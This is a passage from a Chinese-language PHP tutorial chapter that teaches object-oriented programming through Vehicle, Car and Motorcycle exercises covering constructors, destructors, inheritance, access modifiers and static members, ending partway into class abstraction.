    29     function setMake($make)
    30     {
    31         $this->make = $make;
    32     }
    33     function setModel($model)
    34     {
    35         $this->model = $model;
    36     }
    37     function setColor($color)
    38     {
    39         $this->color = $color;
    40     }
    41     function setNoOfWheels($wheels)
    42     {
    43         $this->noOfWheels = $wheels;
    44     }
    https://packt.live/33dTLO2
    

    在这里,我们添加了五个设置器方法来设置适当的类属性。setMake($make) 方法使用 $this->make 访问类属性 $make 并将 $make 参数分配给它。对于 setModel($model)setColor($color)setNoOfWheels($wheels)setEngineNumber($engineNo) 也是同样的情况。所有这些方法都访问相应的类属性,将传递的参数分配给它们。因此,我们可以使用设置器方法设置类属性。

    最后,我们的类看起来如下所示:

    Vehicle.php
    1  <?php
    2  class Vehicle 
    3  {
    4      public $make = 'DefaultMake';
    5      public $model = 'DefaultModel';
    6      public $color = 'DefaultColor';
    7      public $noOfWheels = 0; 
    8      public $engineNumber = 'XXXXXXXX';
    9      function getMake()
    10     {
    11             return $this->make;
    12     }
    https://packt.live/2p52XFU
    
  4. 现在,让我们按照以下方式实例化类:

    $object = new Vehicle();
    

    在这里,类已经被实例化以创建 Vehicle 类的对象。

  5. 使用设置器方法设置类属性,如下所示:

    $object->setMake('Honda');
    $object->setModel('Civic');
    $object->setColor('Red');
    $object->setNoOfWheels(4);
    $object->setEngineNumber('ABC123456');
    

    在这里,我们通过类成员方法(即设置器方法)分配了制造、型号、颜色、车轮数量和发动机号类属性;也就是说,设置器方法。

  6. 要访问存储在 Vehicle 对象处理程序 $object 中的数据,我们需要使用获取器方法,如下所示:

    echo "Make : " . $object->getMake() . PHP_EOL;
    echo "Model : " . $object->getModel() . PHP_EOL;
    echo "Color : " . $object->getColor() . PHP_EOL;
    echo "No. of wheels : " . $object->getNoOfWheels() . PHP_EOL;
    echo "Engine no. : " . $object->getEngineNumber() . PHP_EOL;
    
  7. 使用 Vehicle.php PHP 命令运行 Vehicle.php 文件。前面的代码应该输出以下内容:

图 5.4:车辆对象的设置器和获取器方法

图 5.4:车辆对象的设置器和获取器方法

因此,我们有一个 Vehicle 类,它描述了具有与车辆相关联的不同属性的特定类型的车辆,以及用于操作这些属性的设置器和获取器方法。从现在开始,我们将使用这个 Vehicle 类来练习我们的面向对象理解。

简要来说,我们刚才进行的练习完全是关于定义一个类,所以这里的关键学习是,我们必须添加足够描述特定类型对象的类属性,并编写设置和从这些属性获取数据的方法。

在下一节中,我们将讨论构造函数和析构函数方法在类结构中的作用,并介绍一个关于如何实例化 Vehicle 类的练习。

构造函数

构造函数,如 __construct(),是一种特殊的方法,在实例化类时自动调用。

类构造函数的语法如下:

class ClassName
{
    function __construct() 
    {
        //function body
    }
}

让我们在之前讨论的 Person 类中添加一个 __construct() 方法,如下所示:

class MySimpleClass 
{
    public $name;
    function __construct($username)
    {
        $this->name = $username;
    }
}

使用 __construct() 方法的核心思想是在对象创建后立即执行需要执行的一组初始操作。在前面的简单方法中,__construct() 方法执行属性分配。

因此,我们可以创建 Person 类的实例,如下所示:

$person1 = new Person('John Doe');
$person2 = new Person('Jane Doe');
echo $person1->name; //prints John Doe
echo $person2->name; //prints Jane Doe

在这里,MySimpleClass 构造函数 __construct() 接收一个参数 $username,并通过 $this->name 访问它,将其分配给 $name 属性。

除了初始值分配之外,构造函数方法可能包含数据库连接、设置 cookie、持有 HTTP 客户端、接受依赖项作为参数等。

构造函数方法不能有返回语句,它可以接受参数,并且名称应该是__construct()

析构函数

析构函数方法__destruct()在对象被销毁时自动调用。当我们删除一个对象或者 PHP 脚本结束执行并释放变量使用的内存时,__destruct()就会被调用。

类析构函数的语法如下:

class ClassName
{
     function __destruct() 
    {
        //function body
    }
}

让我们在之前讨论的Person类中添加一个__destruct()方法,如下所示:

class Person 
{
    //attributes and methods
    function __destruct()
    {
        echo 'The object has been removed.';
    }
}

在这里,作为一个例子,可以添加__destruct()方法用于日志记录目的。

如果我们unset()对象处理变量来销毁对象实例,如下所示,析构函数应该会自动调用:

$person = new Person();
unset($person); //output: The object has been removed.

此外,如果没有在内存中找到对象,析构函数方法也会自动调用,如下所示:

$object = new Person();
$object = NULL; //output: The object has been removed. 

除了前面的手动对象销毁之外,当脚本执行结束时,不同对象中的所有__destruct()方法都会自动调用,PHP 将开始释放内存。

注意

析构函数方法不接收参数。

简而言之,到目前为止,我们已经学习了具有属性和方法类的声明、类的实例化以及构造函数和析构函数方法。因此,我们应该通过下一个练习来应用这些概念。

练习 5.2:实例化类并打印详细信息

在以下练习中,你将学习如何实例化我们在上一个练习中创建的Vehicle类。我们将向其中引入一个构造函数,这样我们就可以通过构造函数的参数来分配属性,而不是在类声明期间分配值。我们应该能够使用相应的获取器打印这些信息:

  1. 打开Vehicle类文件,Vehicle.php,你应该会看到以下属性:

    Vehicle.php
    1  <?php
    2  class Vehicle 
    3  {
    4      public $make = 'DefaultMake';
    5      public $model = 'DefaultModel';
    6      public $color = 'DefaultColor';
    7      public $noOfWheels = 0; 
    8      public $engineNumber = 'XXXXXXXX';
    9      function getMake()
    10     {
    11         return $this->make;
    12     }
    https://packt.live/2IFUlfA
    

    我们有更好的方法来使用构造函数方法分配这些属性的值。

  2. 修改属性如下:

        public $make;
        public $model;
        public $color;
        public $noOfWheels; 
        public $engineNumber;
    

    在这里,我们已经提取了分配给属性的默认值。

  3. 在属性部分之后添加__construct方法,如下所示:

        function __construct($make = 'DefaultMake', $model = 'DefaultModel',       $color = 'DefaultColor', $wheels = 4, $engineNo = 'XXXXXXXX')
        {
            //function body
        }
    

    在这里,我们将构造函数参数的默认值作为属性的默认值,如果没有传递值。

    构造函数方法将在Vehicle类实例化时自动调用。如果我们可以在创建新对象时传递参数,它们将在构造函数内部接收。

  4. __construct()方法中,将参数分配给相应的属性,如下所示:

        function __construct($make = 'DefaultMake', $model = 'DefaultModel',       $color = 'DefaultColor', $wheels = 4, $engineNo = 'XXXXXXXX')
        {
            $this->make = $make;
            $this->model = $model;
            $this->color = $color;
            $this->noOfWheels = $wheels;
            $this->engineNumber = $engineNo;
        }
    

    在这里,我们将从构造函数参数获得的属性分配给属性。

  5. 删除或注释掉以下行以初始化Vehicle类和使用Vehicle.php中的设置器和获取器:

    $object = new Vehicle();
    $object->setMake('Honda');
    $object->setModel('Civic');
    $object->setColor('Red');
    $object->setNoOfWheels(4);
    $object->setEngineNumber('ABC123456');
    echo "Make : " . $object->getMake() . PHP_EOL;
    echo "Model : " . $object->getModel() . PHP_EOL;
    echo "Color : " . $object->getColor() . PHP_EOL;
    echo "No. of wheels : " . $object->getNoOfWheels() . PHP_EOL;
    echo "Engine no. : " . $object->getEngineNumber() . PHP_EOL;
    

    我们已经删除了这些行,因为我们打算将Vehicle.php文件包含到另一个文件中,该文件将负责Vehicle的初始化。到目前为止,Vehicle类已经准备好在下一步中使用。

  6. 在同一目录下创建一个名为 vehicle-objects.php 的新 PHP 文件,并添加以下行以包含 Vehicle 类:

    <?php
    require_once 'Vehicle.php';
    

    vehicle-objects.php 脚本中,我们使用 require_once 命令添加了 Vehicle 类,如果文件尚未添加,则会添加该文件;如果找不到文件,则会产生致命错误。对于接下来的步骤,我们将在这个文件上工作。

  7. 现在,是时候实例化类了。在包含 Vehicle 类之后,按照以下方式创建一个不向构造函数传递任何参数的对象:

    $vehicle = new Vehicle();
    

    在这里,我们使用 new 关键字创建了一个 Vehicle 类型的对象,构造函数应该在为对象属性副本分配内存之后调用。

    由于我们已经编写了获取前面属性的 getter 方法,我们应该尝试打印属性信息。

  8. 使用以下方式打印属性信息:

    $vehicle = new Vehicle();
    echo "Make: " . $vehicle->getMake() . PHP_EOL;
    echo "Model: " . $vehicle->getModel() . PHP_EOL;
    echo "Color: " . $vehicle->getColor() . PHP_EOL;
    echo "No of wheels: " . $vehicle->getNoOfWheels() . PHP_EOL;
    echo "Engine No: " . $vehicle->getEngineNumber() . PHP_EOL;
    

    由于所有的 Vehicle 成员方法都是公开的,我们可以通过实例化的 $vehicle 对象的接口访问车辆数据。

    此外,所有的 Vehicle 属性都是公开的,因此我们可以在类外部使用 $vehicle 对象处理器来访问这些属性。所以,以下代码应该会输出与前面相同的结果:

    $vehicle = new Vehicle();
    echo "Make: " . $vehicle->make . PHP_EOL;
    echo "Model: " . $vehicle->model . PHP_EOL;
    echo "Color: " . $vehicle->color . PHP_EOL;
    echo "No of wheels: " . $vehicle->noOfWheels . PHP_EOL;
    echo "Engine No: " . $vehicle->getEngineNumber() . PHP_EOL;
    

    注意

    访问对象属性的标准方式是通过对象的成员方法。当我们对对象属性施加限制时,访问它们应该仅通过对象接口或方法进行。

  9. 从终端或控制台运行 vehicle-objects.php,使用 php vehicle-objects.php 命令。前面的代码输出以下内容:图 5.5:车辆对象的默认属性

    图 5.5:车辆对象的默认属性

    在这里,我们没有向类构造函数传递任何参数,因此属性被分配了默认参数值。

  10. 现在,我们将在 步骤 7 之后的行中创建另一个对象,并传递给构造函数的参数,如下所示:

    $vehicle1 = new Vehicle('Honda', 'Civic', 'Red', 4, '23CJ4567');
    echo "Make: " . $vehicle1->getMake() . PHP_EOL;
    echo "Model: " . $vehicle1->getModel() . PHP_EOL;
    echo "Color: " . $vehicle1->getColor() . PHP_EOL;
    echo "No of wheels: " . $vehicle1->getNoOfWheels() . PHP_EOL;
    echo "Engine No: " . $vehicle1->getEngineNumber() . PHP_EOL;
    
  11. 使用 php vehicle-objects.php 命令重新运行 Vehicle.php步骤 9 中的代码部分输出以下内容:

图 5.6:在终端上打印详细信息

图 5.6:在终端上打印详细信息

因此,可以通过构造函数参数来设定属性的初始值。无论构造函数参数如何,当您想防止直接访问您的属性时,都可以使用设置器方法来分配属性。

继承

为了实现可重用性的想法,我们需要学习使用另一个类的对象(子类)获取一个类(父类)的对象属性的过程。因此,继承是从基类(父类)派生出一个类(子类或子类)的过程。

继承支持以分层方式将信息流向派生对象,这样,除了继承的属性外,派生类还可以添加自己的属性。再次强调,这样的派生类还可以被另一个类继承,以此类推。捆绑的数据和行为可以以组织化的方式重用,以向派生类添加额外的功能。

继承使我们能够以下面的方式实现层次分类的概念:

图 5.7:继承图

图 5.7:继承图

如前图所示,CarMotorcycle 类可以从基类 Vehicle 派生出来,以重用属性、构造函数和方法。因此,派生类从基类继承了成员,并被允许添加自己的成员,例如,Car 添加了四个车门——或者修改继承成员——摩托车将轮子的数量修改为两个,等等。

通过派生类,你可以保留并重用父类的成员。此外,你还可以覆盖父类的属性和方法,以调整派生类中的需求。在派生类中修改继承成员被称为覆盖,这是另一种面向对象编程范式。我们将在后面的章节中详细探讨方法覆盖的例子。

简而言之,继承使我们能够通过类的代际共享共同的特征和行为。

PHP 使用 extends 关键字从父类继承。PHP 类继承的语法如下:

class MyNewClass extends MySimpleClass 
{
    //class body
}

PHP 支持单继承,这意味着一个类可以继承自一个类;与 Java 不同,Java 可以同时从多个类继承。

为了访问父类的成员属性和方法,请编写以下代码:

class MySimpleClass 
{
    public $propertyName = 'base property';
    function methodName()
    {
        echo 'I am a base method. ';
    }
}
class MyNewClass extends MySimpleClass 
{
    //class body
}
$object = new MyNewClass();
$object->propertyName; //holds, 'base property'
$object->methodName(); //prints, 'I am a base method. ' 

因此,父类的属性可以在派生对象中被重用。通常,为了共享常见的属性和行为,我们建立一个基类,这样子类就不需要重复添加相同的属性和行为。因此,数据和操作该数据的相关代码可以被重用,并且代码库的大小保持最小。

再次强调,在派生过程中,你可以添加额外的成员,并如下使用父类成员:

class MyNewClass extends MySimpleClass 
{
    public $addedProperty = 'added property';
    function addedMethodName()
    {
        parent::methodName();
        echo 'I am an added method. ';
    }
}
$object = new MyNewClass();
$object->propertyName; //holds 'base property'
$object->addedProperty; //holds 'added property'
$object->addedMethodName(); //prints 'I am a base method. I am an added method.'

在这里,MyNewClass 添加了自己的 $addedProperty 属性和 addedMethodName() 方法。

你可以使用 parent 关键字后跟作用域运算符 :: 来访问和使用父类的成员,例如,parent::。在上面的例子中,MyNewClass 子类添加了自己的 addedMethodName() 成员方法,它通过使用 parent::methodName() 访问父类的 methodName() 方法,并打印出 '我是一个添加的方法' 字符串。因此,$object->addedMethodName() 打印出 '我是一个基类方法。我是一个添加的方法。'。

注意

子类不能访问或继承父类的私有属性或成员,因为私有意味着应该保持私有。

练习 5.3:实现继承

现在,是时候对不同的车辆类型进行分类,并利用 Vehicle 类来派生新的车辆类型,例如汽车、公交车、卡车、摩托车等。为了产生新的车辆类型对象,我们将扩展 Vehicle 类以派生新的类,如 CarMotorcycle

在这个练习中,你将学习如何从 Vehicle 类派生类。我们将创建 CarMotorcycle 子类,并在它们中添加新的属性,并通过实例化相应的对象来打印 CarMotorcycle 的属性:

  1. 在同一目录下创建一个新的 Car 类文件,名为 Car.php,并添加以下行以包含 Vehicle 类:

    <?php
    require_once 'Vehicle.php';
    
  2. Car 类扩展了 Vehicle 类。在 require 命令之后添加以下内容:

    class Car extends Vehicle 
    {
        //class body
    }
    

    Car 类继承自父类所有的属性和方法。现在,是时候向 Car 类中添加新的属性或属性,以便汽车对象可以在其他类型的车辆中区分开来。

  3. 一辆汽车应该有车门、乘客容量、方向盘、变速器等,并继承默认的四个轮子以及其他属性。将以下属性添加到 Car 类中:

    class Car extends Vehicle 
    {
        public $doors = 4; 
        public $passengerCapacity = 5;
        public $steeringWheel = true;
        public $transmission = 'Manual';
        //class body
    }
    

    因此,Car 类本身就是一个车辆,所以它具有车辆的所有给定特征,并添加了自己的特征集。

  4. 现在,是时候利用继承的美丽之处了。我们将使用从 Vehicle 类继承的构造函数。我们可以通过传递构造函数参数来设置汽车的属性。我们可以实例化 Car 类,并使用 Car 类的对象来访问 Vehicle 类的成员,如下所示:

    $car = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    echo "Vehicle Type: " . get_class($car) . PHP_EOL;
    echo " Make: " . $car->getMake() . PHP_EOL;
    echo " Model: " . $car->getModel() . PHP_EOL;
    echo " Color: " . $car->getColor() . PHP_EOL;
    echo " No of wheels: " . $car->getNoOfWheels() . PHP_EOL;
    echo " No of Doors: " . $car->doors . PHP_EOL;
    echo " Transmission: " . $car->transmission . PHP_EOL;
    echo " Passenger capacity: " . $car->passengerCapacity . PHP_EOL;
    

    在这里,除了额外的汽车属性外,我们还可以访问基类的继承特性。get_class() 返回我们用来获取 Vehicle 类型的类名。注意,我们是通过子对象的处理器来访问继承的方法的。

  5. 在终端中运行 Car.php,使用 php Car.php 命令。前面的代码输出以下内容:![图 5.8:打印汽车详情 img/C14196_05_08.jpg

    图 5.8:打印汽车详情

  6. 同样,让我们在这里创建另一种类型的车辆。通过扩展 Vehicle 类创建一个 Motorcycle 类。在同一目录下创建一个 Motorcycle.php 文件,内容如下:

    <?php
    require_once 'Vehicle.php';
    class Motorcycle extends Vehicle 
    {
        public $noOfWheels = 2;
        public $stroke = 4;
        //class body
    }
    

    再次,这种特定类型的车辆添加了其新的属性。这就是继承如何使你的对象在重用现有功能的同时,带着新的特征向前发展。注意,$noOfWheels$stroke 也可以在构造函数中设置,但我们也在这里覆盖了这些值,以防 Motorcycle 类使用默认的空构造函数实例化。

  7. 现在,让我们实例化派生的 Motorcycle 类,并按如下方式访问继承和添加的属性:

    <?php
    require_once 'Vehicle.php';
    class Motorcycle extends Vehicle 
    {
        public $noOfWheels = 2;
        public $stroke = 4;
    }
    $motorcycle = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    echo "Vehicle Type: " . get_class($motorcycle) . PHP_EOL;
    echo " Make: " . $motorcycle->make . PHP_EOL;
    echo " Model: " . $motorcycle->model . PHP_EOL;
    echo " Color: " . $motorcycle->color . PHP_EOL;
    echo " No of wheels: " . $motorcycle->noOfWheels . PHP_EOL;
    echo " No of strokes: " . $motorcycle->stroke . PHP_EOL;
    

    因此,两轮车辆类型应该将 $noOfWheels 属性的值设为 2。请注意,这里已将 $noOfWheels 覆盖为 2 并添加了一个额外的 $stroke 属性,它是 Motorcyle 的冲程类型。默认值为 4

  8. 使用 php Motorcycle.php 命令从终端运行 Motorcycle.php 文件。前面的代码输出以下内容:

图 5.9:摩托车对象的继承和新增属性

到目前为止,我们已经通过扩展 Vehicle 类派生了 CarMotorcycle,在派生类中添加了新的属性,并且以直接的方式访问了父属性和方法,因为它们都是公开可访问的。继承允许您以分层的方式实现对象。您可能需要在整个系统中添加新功能或重用现有功能以保持代码模块化。在练习中,我们注意到访问父成员很容易,并且没有限制来阻止您访问它们的数据。

为了在类属性上强制执行特定的数据访问策略,我们需要在类属性和方法声明之前使用访问修饰符。

访问修饰符

面向对象编程的核心概念有两个,即模块化(允许重用)和封装(将数据和函数捆绑在一起,以隐藏信息)。为数据访问和对象之间的接口建立访问指南非常重要,以便定义谁可以访问什么以及访问的程度。访问修饰符为对象常量、属性和方法提供访问保护。其概念是保护对象的成员,以便我们可以为对象声明 publicprotectedprivate 成员常量、属性和方法。publicprotectedprivate 关键字在 PHP 中也被称为可见性关键字。public 关键字可以用在成员之前,以便通过对象从外部访问该成员。protected 关键字可以用来自从派生类访问成员,但不能从外部访问。private 关键字可以用来自限制成员的访问仅限于其自身类,并且不能通过派生或从外部访问。

让我们看看将 publicprotectedprivate 关键字应用于类成员的示例:

<?php
class MySimpleClass
{
    public PUBLIC_CONSTANT = 'Public';
    protected PROTECTED_CONSTANT = 'Protected';
    private PRIVATE_CONSTANT = 'Private';
    public $publicAttribute = 'Public Member';
    protected $protectedAttribute = 'Protected Member';
    private $privateAttribute = 'Private Member';
    public function publicMethod()
    {
        //function body
    }
    protected function protectedMethod()
    {
        //function body
    }
    private function privateMethod()
    {
        //function body
    }
}
$object = new MySimpleClass();
$object->publicAttribute;//ok
$object->protectedMember;//fatal error
$object->privateAttribute;//fatal error

要详细说明带有前缀的新访问修饰符的类成员,请查看以下表格,了解 publicprotectedprivate 访问修饰符:

图 5.10:访问修饰符的作用范围

图 5.10:访问修饰符的作用范围

所有公共成员都可以通过对象处理程序(如 $object->publicAttribute$object->publicMethod())从其自身对象或派生对象外部访问,而从其自身对象或派生对象内部访问它们则需要使用特殊的 $this 变量。

所有受保护的成员只能从它们自己的对象或派生对象内部访问,使用 $this->protectedAttribute$this->protectedMethod()。使用 $object->protectedAttribute 对象处理程序访问它们将产生一个 FATAL 错误。因此,当我们可以通过派生来重用数据和行为时,可以使用访问修饰符。

私有成员仅对其自己的对象是私有的,并且不能通过继承访问。这个访问修饰符的整个想法是,类特定的数据和行为不能被重用:

![图 5.11:访问修饰符图]

img/C14196_05_11.jpg

图 5.11:访问修饰符图

图表显示了谁可以访问哪些数据以及哪些方法。外部人员只能通过对象处理程序访问对象的公共数据和方法。外部人员的访问受到受保护和私有区域的限制。只有通过派生,才能允许访问受保护区域,而私有区域意味着类内部的私有。因此,类的受限区域只能通过其自己的方法访问,并且如果类声明了访问其受限区域的方法为公共的,那么世界只能间接地访问这些受限区域。

注意

如果在方法之前没有提到访问修饰符,那么它将默认被认为是公共的。

现在是时候将访问修饰符应用到 Vehicle 类上了。让我们通过一个练习来了解这个过程。在 Vehicle 类中,车轮的数量应该对不同的车辆类型可用以实现,引擎号应该是机密的,其他信息不应是机密的。

练习 5.4:应用访问修饰符

在这个练习中,我们需要在 Vehicle 类属性之前应用访问修饰符,以确保对引擎号变量 $engineNumber 的数据隐藏。引擎号只能通过成员方法 getEngineNumber() 获取。此外,车轮的数量不应在类外部可用;相反,它应该对派生类可用以实现它们自己的车轮数量,其余的属性可以在类外部访问:

  1. 打开 Vehicle.php 文件,并按如下方式更新 $noOfWheels 属性的访问修饰符:

    <?php
    class Vehicle 
    {
        public $make;
        public $model;
        public $color;
        protected $noOfWheels; 
        public $engineNumber;
        //methods
    

    在这里,我们保护了 $noOfWheels 数据,因为这需要对子类可用以实现它们自己的车轮数量,并且不应在类外部可用。我们将 $noOfWheels 属性从 public 更改为 protected

  2. 此外,引擎号应该对不同的车辆类型是私有的。将 $engineNumber 的可见性从 public 更改为 private,如下所示:

    class Vehicle 
    {
        public $make;
        public $model;
        public $color;
        protected $noOfWheels; 
        private $engineNumber;
        //methods
    

    在这里,由于$engineNumber属性的可见性变化,该属性应保持为其自身类的私有属性,并且不应对派生类或类外部的代码可用。访问此类私有属性的一种方法是为外部编写一个公共获取器方法,或者只为派生类编写一个受保护的获取器方法。

    一些车辆类型可能需要修改车轮数量,我们不会允许外部进行此类修改;因此,我们将$noOfWheels属性声明为protected。如果将车轮数量设置为public会怎样?它可能会被直接修改(读:奇怪):一辆车可能有两条轮子,或者一辆摩托车可能会被修改为有 100 条轮子。这就是为什么我们希望属性只能在子类中修改,而不是由外部修改。

    在这里,前三个属性是公开可见的,这意味着这些是任何车辆类型的公共属性,并且如果有人想这样做,可以直接通过对象访问此类信息。

    因此,我们能够通过visibility关键字对类属性施加限制。让我们通过实例化类来尝试访问具有更新可见性的属性。

  3. 创建一个新的vehicle-visibility.php文件,并按照以下方式实例化Vehicle类:

    <?php
    require_once 'Vehicle.php';
    $vehicle = new Vehicle();
    
  4. 尝试使用对象处理程序在类外部访问成员属性,就像之前一样:

    $vehicle = new Vehicle();
    echo "Make: " . $vehicle->make . PHP_EOL;
    echo "Model: " . $vehicle->model . PHP_EOL;
    echo "Color: " . $vehicle->color . PHP_EOL;
    echo "No of wheels: " . $vehicle->noOfWheels . PHP_EOL;
    echo "Engine No: " . $vehicle->engineNumber . PHP_EOL;
    

    注意,我们正在尝试使用对象操作符通过$vehicle对象处理程序在类外部访问$noOfWheels$engineNumber,这两个都应该产生一个FATAL错误。

  5. 从终端或控制台运行vehicle-visibility.php,使用php -d display_errors=on vehicle-visibility.php命令。使用-d标志并设置display_errors=on应该覆盖来自php-cli的默认display_erros=off设置:

    前面的命令输出以下内容:

    图 5.12:访问车辆对象的受保护属性

    图 5.12:访问车辆对象的受保护属性

  6. 让我们移除包含$vehicle->noOfWheels的行,并尝试重新运行之前的命令:

    Make: DefaultMake
    Model: DefaultModel
    Color: DefaultColor
    Fatal error: Cannot access private property Vehicle::$engineNumber ...
    
  7. 我们需要改变访问此类受限属性的方法。我们需要使用getNoOfWheels()getEngineNumber()对象接口,如下所示:

    $vehicle = new Vehicle();
    echo "Make: " . $vehicle->make . PHP_EOL;
    echo "Model: " . $vehicle->model . PHP_EOL;
    echo "Color: " . $vehicle->color . PHP_EOL;
    echo "No of wheels: " . $vehicle->getNoOfWheels() . PHP_EOL;
    echo "Engine No: " . $vehicle->getEngineNumber() . PHP_EOL;
    
  8. 因此,如果我们重新运行脚本,我们应该看到所有预期的值都按以下方式打印出来:图 5.13:通过车辆对象的方法访问私有和受保护的属性

    图 5.13:通过车辆对象的方法访问私有和受保护的属性

    现在,我们应该尝试从子类访问修改后的可见性属性,以查看差异。

  9. 让我们尝试从子类访问修改后的可见性属性。打开Car.php并定位到包含$car->getNoOfWheels()的行。受保护的$noOfWheels属性由$car对象继承,并且只能通过getNoOfWheels()标准接口访问。

    尝试使用 php -d display_errors=on Car.php 命令运行 Car.php。该命令会打印以下内容:

    ![图 5.14:通过继承访问父类的属性 图 5.14:通过继承访问父类的属性

    图 5.14:通过继承访问父类的属性

    这就是访问修饰符如何确保在子类中保护数据的方法。如果我们尝试使用 $car->noOfWheels 访问受保护的属性,它将产生一个致命错误。

  10. 现在,让我们尝试访问 Car.php 的父类的私有属性,并添加以下行:

    echo " Engine number: " . $car->engineNumber . PHP_EOL;
    

    记住,尽管汽车是一种车辆并且是从 Vehicle 类继承的,但该属性应该保持对 Vehicle 类的私有性,并且对 Car 对象来说是未知的。

  11. 尝试重新运行之前的命令,它将引发一个 Notice 消息(PHP 解释器的消息),因为属性对 $car 对象来说是未知的:

    Vehicle Type: Car
     Make: Honda
     Model: Civic
     Color: Red
     No of wheels: 4
     No of Doors: 4
     Transmission: Manual
     Passenger capacity: 5
    Notice: Undefined property: Car::$engineNumber ...
     Engine number:
    

    PHP 只会引发一个 Notice 消息,因为该属性对对象来说是完全未知的。所以,这就是如何在类成员之前应用可见性关键字以确保数据的隐藏和保护以及通过继承的保护。请注意,Notice 消息是关于解释器违规的信息,不会停止程序执行,而错误应该停止程序执行,并且必须解决才能执行程序。

总结来说,访问修饰符允许我们控制我们的数据和行为,并为数据通过标准方法进行通信提供指导。因此,当我们需要在对象之间建立安全的数据通信时,我们已经学会了如何保护、私有化和公开数据。

静态字段和方法

当类实例或对象想要在它们之间共享相同的数据时,类需要将此类数据声明为静态。每个实例可能有自己的数据副本,但我们使用静态成员来确保某些数据和行为在实例范围内应该是相同的。

静态字段或属性和方法只是声明了 static 关键字(在访问修饰符之后)的属性和方法,它们具有特殊用途,即可以在不实例化类的情况下访问静态属性、常量和方法。到目前为止,我们已经从对象上下文访问了在类内部声明的成员。在不需要对象访问类成员的情况下,我们将它们声明为静态成员,并使用 :: 范围运算符(双冒号)来访问它们。

语法看起来如下:

class MySimpleClass
{
    public static $myStaticProperty = 'I am a static property. ';
    public static function myStaticMethod()
    {
        return 'I am a static method. ';
    }
}
echo MySimpleClass::$myStaticProperty; //prints 'I am a static property.'
echo MySimpleClass::myStaticMethod(); //prints 'I am a static method.'

要从它们自己的类中访问静态属性或方法,查看以下示例:

class MySimpleClass
{
    public static $myStaticProperty = 'I am a static property. ';
    public static function myStaticMethod()
    {
        return self::$myStaticProperty . 'I am a static method. ';
    }    
    public static function myAnotherStaticMethod()
    {
        echo self::myStaticMethod();
    }
}
echo MySimpleClass::myAnotherStaticMethod(); 
//prints 'I am a static property. I am a static method.'

因此,静态成员可以使用类名和 :: 范围运算符在类外部访问。此外,要访问类内部的静态成员,我们可以使用 self 关键字后跟 :: 范围运算符。

要从子类访问静态属性或方法,我们使用 parent 关键字后跟 :: 范围运算符。查看以下示例:

class MySimpleClass{
    public static $myStaticProperty = 'parent static property. ';
    public static function myStaticMethod()
    {
        return self::$myStaticProperty . 'parent static method. ';
    }
}
class MySubClass extends MySimpleClass{
    public static function printSomething()
    {
        echo parent::myStaticMethod();
    }
}
echo MySubClass::printSomething(); 
//prints, parent static property. parent static method.

此外,静态方法在对象上下文中也是可用的:

$object = new MySubClass();
echo $object->printSomething();

注意

静态属性和成员是全局变量和函数,除了它们存在于一个可以通过类名从任何地方访问的类中。静态成员应该是公共的;否则,使用类名从外部访问它们会产生致命错误。

parent:: 和 self::

self:: 指的是当前类,并且可以用来访问静态属性、常量和方法。

类似地,parent:: 指的是父类,并且可以在子类内部使用,以便访问父类的成员属性、常量和方法。

练习 5.5:应用静态成员

在这个练习中,我们将探讨静态成员的一个有趣用例。我们将向 Vehicle 类添加一个静态属性,并在构造函数中增加该属性,以便随着每个对象的创建而增加静态成员:

  1. 打开 Vehicle.php 文件并在类中添加一个静态属性,如下所示:

    <?php
    class Vehicle 
    {
        public $make;
        public $model;
        public $color;
        protected $noOfWheels; 
        private $engineNumber;
        public static $counter = 0;
    

    在这里,我们添加了一个 $counter 静态属性,并用 0 初始化计数器。

  2. 现在,只需在构造函数中添加一行代码来增加 $counter,如下所示:

        function __construct($make = 'DefaultMake', $model = 'DefaultModel', $color = 'DefaultColor', $wheels = 4, $engineNo = 'XXXXXXXX')
        {
            $this->make = $make;
            $this->model = $model;
            $this->color = $color;
            $this->noOfWheels = $wheels;
            $this->engineNumber = $engineNo;
            self::$counter++;
        }
    

    在这里,计数器随着每个对象的创建而递增,因为我们知道在实例化类时调用构造方法。在我们的例子中,CarMotorcycle 子类没有声明 __construct() 方法,所以它们应该通过继承使用父类的构造函数。

  3. 现在,打开 Car.php 文件并多次创建 Car 对象,如下所示。使用 Car::$counter 打印 $counter 静态变量:

    $car1 = new Car('Honda', 'Civic', 'Red', 4, '23CJ4567');
    $car2 = new Car('Toyota', 'Allion', 'White', 4, '24CJ4568');
    $car3 = new Car('Hyundai', 'Elantra', 'Black', 4, '24CJ1234');
    $car4 = new Car('Chevrolet', 'Camaro', 'Yellow', 4, '23CJ9397');
    echo "Available cars are " . Car::$counter . PHP_EOL;
    

    在这里,继承自 Car 类的静态属性包含了在任何特定时间点创建的对象数量。因此,我们可以知道应用程序中可用的汽车数量。前面的代码应该打印 Available cars are 4。注意,我们在父类 Vehicle 的构造函数中重用了静态计数器,这意味着派生的 Car 对象共享同一个计数器。

  4. 现在,要计算 Motorcycle 对象的数量,只需创建一些对象,并使用 Motorcycle::$counter 打印 $counter 静态变量:

    $motorcycle1 = new Motorcycle('Kawasaki', 'Ninja', 'Orange', 2,   '53WVC14598');
    $motorcycle2 = new Motorcycle('Suzuki', 'Gixxer SF', 'Blue', 2,   '53WVC14599');
    $motorcycle2 = new Motorcycle('Harley Davidson', 'Street 750', 'Black', 2,   '53WVC14234');
    echo "Available motorcycles are " . Motorcycle::$counter. PHP_EOL;
    

    前面的代码应该打印 Available motorcycles are 3。因此,我们在父类中声明了一个静态计数器,通过使用子类名称创建对象并访问 static 属性来获取创建的对象数量。这就是我们如何使用 static 属性和方法实现许多有趣功能的方法。

类抽象

在面向对象编程(OOP)中,类抽象是定义对象共同行为的方式,以便派生类可以以它们自己的方式实现这些行为以实现不同的目的。仅以车辆类比:汽车和摩托车都有共同的引擎,但你都知道每种类型的车辆的引擎是完全不同的。因此,类抽象应该为两种类型的车辆提供抽象引擎。为了匹配一个精确的共同定义的引擎,引擎应该可以启动,引擎应该可以停止,我们可能还想了解引擎的状态——它是否正在运行。

每种类型的车辆都应该实现其启动引擎的方式。例如,我们可以通过在点火开关中使用钥匙来启动汽车引擎,而摩托车可能需要我们踢启动引擎:

![图 5.15:一个简单的抽象引擎图图片

图 5.15:一个简单的抽象引擎图

